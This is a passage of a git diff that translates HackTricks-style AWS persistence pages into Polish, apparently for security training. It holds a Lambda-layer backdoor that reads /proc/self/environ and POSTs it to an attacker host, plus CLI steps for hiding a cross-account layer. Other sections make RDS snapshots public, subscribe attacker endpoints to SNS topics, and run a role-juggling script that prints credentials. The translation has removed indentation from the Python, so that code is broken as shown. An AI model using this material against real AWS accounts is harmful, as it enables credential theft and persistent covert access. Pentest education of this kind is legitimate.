niestandardowy kod** i **ładować oryginalną** bibliotekę. -### Preloaded libraries +### Wstępnie załadowane biblioteki > [!WARNING] -> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\ -> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed. - -With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda: +> Podczas nadużywania tej techniki napotkałem trudność: Niektóre biblioteki są **już załadowane** w czasie działania Pythona, gdy twój kod jest wykonywany. Spodziewałem się znaleźć takie rzeczy jak `os` czy `sys`, ale **nawet biblioteka `json` była załadowana**.\ +> Aby nadużyć tej techniki utrzymywania, kod musi **załadować nową bibliotekę, która nie jest załadowana**, gdy kod jest wykonywany. +Dzięki kodowi Pythona takiemu jak ten, możliwe jest uzyskanie **listy bibliotek, które są wstępnie załadowane** w czasie działania Pythona w lambda: ```python import sys def lambda_handler(event, context): - return { - 'statusCode': 200, - 'body': str(sys.modules.keys()) - } +return { +'statusCode': 200, +'body': str(sys.modules.keys()) +} ``` - -And this is the **list** (check that libraries like `os` or `json` are already there) - +A oto **lista** (sprawdź, czy takie biblioteki jak `os` lub `json` są już dostępne) ``` 'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function' ``` +I oto lista **bibliotek**, które **lambda zawiera zainstalowane domyślnie**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) -And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) +### Backdooring warstwy Lambda -### Lambda Layer Backdooring +W tym przykładzie załóżmy, że kod docelowy importuje **`csv`**. Będziemy **wprowadzać backdoora do importu biblioteki `csv`**. -In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**. +Aby to zrobić, stworzymy **katalog csv** z plikiem **`__init__.py`** w ścieżce, która jest ładowana przez lambda: **`/opt/python/lib/python3.9/site-packages`**\ +Następnie, gdy lambda zostanie wykonana i spróbuje załadować **csv**, nasz **plik `__init__.py` zostanie załadowany i wykonany**.\ +Ten plik musi: -For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\ -Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\ -This file must: - -- Execute our payload -- Load the original csv library - -We can do both with: +- Wykonać nasz ładunek +- Załadować oryginalną bibliotekę csv +Możemy zrobić to obie rzeczy za pomocą: ```python import sys from urllib import request with open("/proc/self/environ", "rb") as file: - url= "https://attacker13123344.com/" #Change this to your server - req = request.Request(url, data=file.read(), method="POST") - response = request.urlopen(req) +url= "https://attacker13123344.com/" #Change this to your server +req = request.Request(url, data=file.read(), method="POST") +response = request.urlopen(req) # Remove backdoor directory from path to load original library del_path_dir = "/".join(__file__.split("/")[:-2]) @@ -90,29 +83,27 @@ import csv as _csv sys.modules["csv"] = _csv ``` +Następnie utwórz zip z tym kodem w ścieżce **`python/lib/python3.9/site-packages/__init__.py`** i dodaj go jako warstwę lambda. -Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer. +Możesz znaleźć ten kod w [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) -You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) - -The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated: +Zintegrowany ładunek **wyśle dane uwierzytelniające IAM na serwer PIERWSZY RAZ, gdy zostanie wywołany lub PO zresetowaniu kontenera lambda** (zmiana kodu lub zimna lambda), ale **inne techniki** takie jak poniższe mogą być również zintegrowane: {{#ref}} ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} -### External Layers +### Zewnętrzne warstwy -Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\ -Also note that the **max number of layers a lambda can have is 5**. +Zauważ, że możliwe jest użycie **warstw lambda z zewnętrznych kont**. Co więcej, lambda może używać warstwy z zewnętrznego konta, nawet jeśli nie ma uprawnień.\ +Zauważ również, że **maksymalna liczba warstw, które może mieć lambda, wynosi 5**. -Therefore, in order to improve the versatility of this technique an attacker could: - -- Backdoor an existing layer of the user (nothing is external) -- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**. - - The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda) - - The victim **won't see external layers** used with **`aws lambda list-layers`** +Dlatego, aby poprawić wszechstronność tej techniki, atakujący mógłby: +- Wprowadzić tylną furtkę w istniejącej warstwie użytkownika (nic nie jest zewnętrzne) +- **Utworzyć** **warstwę** w **swoim koncie**, dać **koncie ofiary dostęp** do używania warstwy, **skonfigurować** **warstwę** w Lambdzie ofiary i **usunąć uprawnienia**. +- **Lambda** nadal będzie mogła **używać warstwy**, a **ofiara nie** będzie miała łatwego sposobu na **pobranie kodu warstwy** (oprócz uzyskania powłoki rev wewnątrz lambdy) +- Ofiara **nie zobaczy zewnętrznych warstw** używanych z **`aws lambda list-layers`** ```bash # Upload backdoor layer aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" @@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen # Remove permissions aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md index 88b0d082a..c63e584ce 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md @@ -4,34 +4,30 @@ ## Lightsail -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}} -### Download Instance SSH keys & DB passwords +### Pobierz klucze SSH instancji i hasła do bazy danych -They won't be changed probably so just having them is a good option for persistence +Prawdopodobnie nie będą zmieniane, więc ich posiadanie to dobra opcja na utrzymanie dostępu. -### Backdoor Instances +### Backdoor Instancji -An attacker could get access to the instances and backdoor them: +Atakujący mógłby uzyskać dostęp do instancji i wprowadzić backdoora: -- Using a traditional **rootkit** for example -- Adding a new **public SSH key** -- Expose a port with port knocking with a backdoor +- Używając tradycyjnego **rootkita** na przykład +- Dodając nowy **publiczny klucz SSH** +- Eksponując port z port knocking z backdoorem -### DNS persistence +### Utrzymanie DNS -If domains are configured: +Jeśli domeny są skonfigurowane: -- Create a subdomain pointing your IP so you will have a **subdomain takeover** -- Create **SPF** record allowing you to send **emails** from the domain -- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones +- Utwórz subdomenę wskazującą na Twój adres IP, aby uzyskać **przejęcie subdomeny** +- Utwórz rekord **SPF**, który pozwoli Ci wysyłać **emaile** z domeny +- Skonfiguruj **adres IP głównej domeny na swój własny** i przeprowadź **MitM** z Twojego IP do legalnych adresów {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md index b7a4b8f7b..b0311a420 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md @@ -4,32 +4,24 @@ ## RDS -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md {{#endref}} -### Make instance publicly accessible: `rds:ModifyDBInstance` - -An attacker with this permission can **modify an existing RDS instance to enable public accessibility**. +### Uczyń instancję publicznie dostępną: `rds:ModifyDBInstance` +Atakujący z tym uprawnieniem może **zmodyfikować istniejącą instancję RDS, aby umożliwić publiczną dostępność**. ```bash aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately ``` - ### Create an admin user inside the DB -An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database. +Atakujący mógłby po prostu **utworzyć użytkownika w bazie danych**, więc nawet jeśli hasło głównego użytkownika zostanie zmienione, **nie traci dostępu** do bazy danych. ### Make snapshot public - ```bash aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md index f2c4ce048..9c9947e8c 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md @@ -4,26 +4,22 @@ ## S3 -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### KMS Client-Side Encryption +### KMS Szyfrowanie po stronie klienta -When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again: +Gdy proces szyfrowania jest zakończony, użytkownik użyje API KMS do wygenerowania nowego klucza (`aws kms generate-data-key`) i **przechowa wygenerowany zaszyfrowany klucz w metadanych** pliku ([przykład kodu python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), aby podczas deszyfrowania mógł ponownie użyć KMS:
-Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it. +W związku z tym, atakujący mógłby uzyskać ten klucz z metadanych i deszyfrować go za pomocą KMS (`aws kms decrypt`), aby uzyskać klucz użyty do szyfrowania informacji. W ten sposób atakujący będzie miał klucz szyfrowania, a jeśli ten klucz jest ponownie używany do szyfrowania innych plików, będzie mógł go użyć. -### Using S3 ACLs +### Używanie ACL S3 -Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket. +Chociaż zazwyczaj ACL koszyków są wyłączone, atakujący z wystarczającymi uprawnieniami mógłby je nadużyć (jeśli są włączone lub jeśli atakujący może je włączyć), aby zachować dostęp do koszyka S3. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md index c15f27003..3ba6c28ec 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md @@ -1,57 +1,51 @@ -# AWS - Secrets Manager Persistence +# AWS - Utrzymywanie w Secrets Manager {{#include ../../../banners/hacktricks-training.md}} ## Secrets Manager -For more info check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-secrets-manager-enum.md {{#endref}} -### Via Resource Policies +### Poprzez Polityki Zasobów -It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**. +Możliwe jest **przyznanie dostępu do sekretów zewnętrznym kontom** za pomocą polityk zasobów. Sprawdź [**stronę Privesc Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) po więcej informacji. Zauważ, że aby **uzyskać dostęp do sekretu**, zewnętrzne konto również **musi mieć dostęp do klucza KMS szyfrującego sekret**. -### Via Secrets Rotate Lambda +### Poprzez Lambda Rotacji Sekretów -To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself. - -This is how lambda code for such action could look like: +Aby **automatycznie rotować sekrety**, wywoływana jest skonfigurowana **Lambda**. Jeśli atakujący mógłby **zmienić** **kod**, mógłby bezpośrednio **wyeksportować nowy sekret** do siebie. +Tak mógłby wyglądać kod lambda do takiej akcji: ```python import boto3 def rotate_secrets(event, context): - # Create a Secrets Manager client - client = boto3.client('secretsmanager') +# Create a Secrets Manager client +client = boto3.client('secretsmanager') - # Retrieve the current secret value - secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] +# Retrieve the current secret value +secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] - # Rotate the secret by updating its value - new_secret_value = rotate_secret(secret_value) - client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) +# Rotate the secret by updating its value +new_secret_value = rotate_secret(secret_value) +client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) def rotate_secret(secret_value): - # Perform the rotation logic here, e.g., generate a new password +# Perform the rotation logic here, e.g., generate a new password - # Example: Generate a new password - new_secret_value = generate_password() +# Example: Generate a new password +new_secret_value = generate_password() - return new_secret_value +return new_secret_value def generate_password(): - # Example: Generate a random password using the secrets module - import secrets - import string - password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) - return password +# Example: Generate a random password using the secrets module +import secrets +import string +password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) +return password ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md index 8e97cc81c..18205f120 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md @@ -4,7 +4,7 @@ ## SNS -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,74 +12,66 @@ For more information check: ### Persistence -When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\ -The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**: - +Podczas tworzenia **tematu SNS** musisz wskazać w polityce IAM **kto ma dostęp do odczytu i zapisu**. Możliwe jest wskazanie zewnętrznych kont, ARN ról lub **nawet "\*"**.\ +Poniższa polityka daje wszystkim w AWS dostęp do odczytu i zapisu w temacie SNS o nazwie **`MySNS.fifo`**: ```json { - "Version": "2008-10-17", - "Id": "__default_policy_ID", - "Statement": [ - { - "Sid": "__default_statement_ID", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "SNS:Publish", - "SNS:RemovePermission", - "SNS:SetTopicAttributes", - "SNS:DeleteTopic", - "SNS:ListSubscriptionsByTopic", - "SNS:GetTopicAttributes", - "SNS:AddPermission", - "SNS:Subscribe" - ], - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", - "Condition": { - "StringEquals": { - "AWS:SourceOwner": "318142138553" - } - } - }, - { - "Sid": "__console_pub_0", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "SNS:Publish", - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" - }, - { - "Sid": "__console_sub_0", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "SNS:Subscribe", - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" - } - ] +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__default_statement_ID", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"SNS:Publish", +"SNS:RemovePermission", +"SNS:SetTopicAttributes", +"SNS:DeleteTopic", +"SNS:ListSubscriptionsByTopic", +"SNS:GetTopicAttributes", +"SNS:AddPermission", +"SNS:Subscribe" +], +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", +"Condition": { +"StringEquals": { +"AWS:SourceOwner": "318142138553" +} +} +}, +{ +"Sid": "__console_pub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Publish", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +}, +{ +"Sid": "__console_sub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Subscribe", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +} +] } ``` +### Utwórz subskrybentów -### Create Subscribers - -To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**. - -Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used. +Aby kontynuować eksfiltrację wszystkich wiadomości ze wszystkich tematów, atakujący może **utworzyć subskrybentów dla wszystkich tematów**. +Zauważ, że jeśli **temat jest typu FIFO**, można używać tylko subskrybentów korzystających z protokołu **SQS**. ```bash aws sns subscribe --region \ - --protocol http \ - --notification-endpoint http:/// \ - --topic-arn +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md index 88f396173..43f503b2c 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md @@ -4,40 +4,34 @@ ## SQS -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### Using resource policy - -In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\ -The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**: +### Używanie polityki zasobów +W SQS musisz wskazać za pomocą polityki IAM **kto ma dostęp do odczytu i zapisu**. Możliwe jest wskazanie zewnętrznych kont, ARN ról lub **nawet "\*"**.\ +Poniższa polityka daje wszystkim w AWS dostęp do wszystkiego w kolejce o nazwie **MyTestQueue**: ```json { - "Version": "2008-10-17", - "Id": "__default_policy_ID", - "Statement": [ - { - "Sid": "__owner_statement", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": ["SQS:*"], - "Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" - } - ] +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__owner_statement", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": ["SQS:*"], +"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" +} +] } ``` - > [!NOTE] -> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) +> Możesz nawet **wywołać Lambdę w koncie atakującego za każdym razem, gdy nowa wiadomość** zostanie umieszczona w kolejce (musiałbyś ją jakoś ponownie umieścić). Aby to zrobić, postępuj zgodnie z tymi instrukcjami: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md index c1b9a422b..3bd0aae28 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md @@ -1,6 +1 @@ # AWS - SSM Perssitence - - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md index 4e8c120ff..85a3009c2 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md @@ -1,25 +1,21 @@ -# AWS - Step Functions Persistence +# AWS - Utrzymywanie Funkcji Kroków {{#include ../../../banners/hacktricks-training.md}} -## Step Functions +## Funkcje Kroków -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Step function Backdooring +### Wprowadzanie Tylnych Drzwi do Funkcji Kroków -Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps. +Wprowadź tylne drzwi do funkcji kroków, aby wykonała dowolny trik utrzymania, tak aby za każdym razem, gdy jest uruchamiana, wykonywała twoje złośliwe kroki. -### Backdooring aliases +### Wprowadzanie Tylnych Drzwi do Aliasów -If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function. +Jeśli konto AWS używa aliasów do wywoływania funkcji kroków, możliwe byłoby zmodyfikowanie aliasu, aby używał nowej wersji funkcji kroków z tylnymi drzwiami. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index 74db04bec..5a6869ca6 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -4,62 +4,59 @@ ## STS -For more information access: +Aby uzyskać więcej informacji, przejdź do: {{#ref}} ../aws-services/aws-sts-enum.md {{#endref}} -### Assume role token +### Token roli -Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence. +Tymczasowe tokeny nie mogą być wylistowane, więc utrzymanie aktywnego tymczasowego tokena jest sposobem na utrzymanie trwałości.
aws sts get-session-token --duration-seconds 129600
 
-# With MFA
+# Z MFA
 aws sts get-session-token \
-    --serial-number <mfa-device-name> \
-    --token-code <code-from-token>
+--serial-number <mfa-device-name> \
+--token-code <code-from-token>
 
-# Hardware device name is usually the number from the back of the device, such as GAHT12345678
-# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
-# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
+# Nazwa urządzenia sprzętowego to zazwyczaj numer z tyłu urządzenia, taki jak GAHT12345678
+# Nazwa urządzenia SMS to ARN w AWS, taki jak arn:aws:iam::123456789012:sms-mfa/nazwa_użytkownika
+# Nazwa urządzenia wirtualnego to ARN w AWS, taki jak arn:aws:iam::123456789012:mfa/nazwa_użytkownika
 
-### Role Chain Juggling +### Żonglowanie rolami -[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials. - -You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going: +[**Łączenie ról to uznawana funkcja AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), często wykorzystywana do utrzymania ukrytej trwałości. Polega na możliwości **przyjęcia roli, która następnie przyjmuje inną**, potencjalnie wracając do początkowej roli w **cykliczny sposób**. Za każdym razem, gdy rola jest przyjmowana, pole wygaszenia poświadczeń jest odświeżane. W związku z tym, jeśli dwie role są skonfigurowane do wzajemnego przyjmowania się, ta konfiguracja pozwala na nieprzerwaną odnowę poświadczeń. +Możesz użyć tego [**narzędzia**](https://github.com/hotnops/AWSRoleJuggler/), aby kontynuować łączenie ról: ```bash ./aws_role_juggler.py -h usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] optional arguments: - -h, --help show this help message and exit - -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] +-h, --help show this help message and exit +-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] ``` - > [!CAUTION] -> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured. +> Zauważ, że skrypt [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) z tego repozytorium Github nie znajduje wszystkich sposobów, w jakie można skonfigurować łańcuch ról.
-Code to perform Role Juggling from PowerShell - +Kod do wykonywania Role Juggling z PowerShell ```powershell # PowerShell script to check for role juggling possibilities using AWS CLI # Check for AWS CLI installation if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) { - Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'." - exit +Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'." +exit } # Function to list IAM roles function List-IAMRoles { - aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json +aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json } # Initialize error count @@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json # Attempt to assume each role foreach ($role in $roles) { - $sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) - try { - $credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json - if ($credentials) { - Write-Host "Successfully assumed role: $($role.RoleName)" - Write-Host "Access Key: $($credentials.AccessKeyId)" - Write-Host "Secret Access Key: $($credentials.SecretAccessKey)" - Write-Host "Session Token: $($credentials.SessionToken)" - Write-Host "Expiration: $($credentials.Expiration)" +$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) +try { +$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json +if ($credentials) { +Write-Host "Successfully assumed role: $($role.RoleName)" +Write-Host "Access Key: $($credentials.AccessKeyId)" +Write-Host "Secret Access Key: $($credentials.SecretAccessKey)" +Write-Host "Session Token: $($credentials.SessionToken)" +Write-Host "Expiration: $($credentials.Expiration)" - # Set temporary credentials to assume the next role - $env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId - $env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey - $env:AWS_SESSION_TOKEN = $credentials.SessionToken +# Set temporary credentials to assume the next role +$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId +$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey +$env:AWS_SESSION_TOKEN = $credentials.SessionToken - # Try to assume another role using the temporary credentials - foreach ($nextRole in $roles) { - if ($nextRole.Arn -ne $role.Arn) { - $nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) - try { - $nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json - if ($nextCredentials) { - Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)" - Write-Host "Access Key: $($nextCredentials.AccessKeyId)" - Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)" - 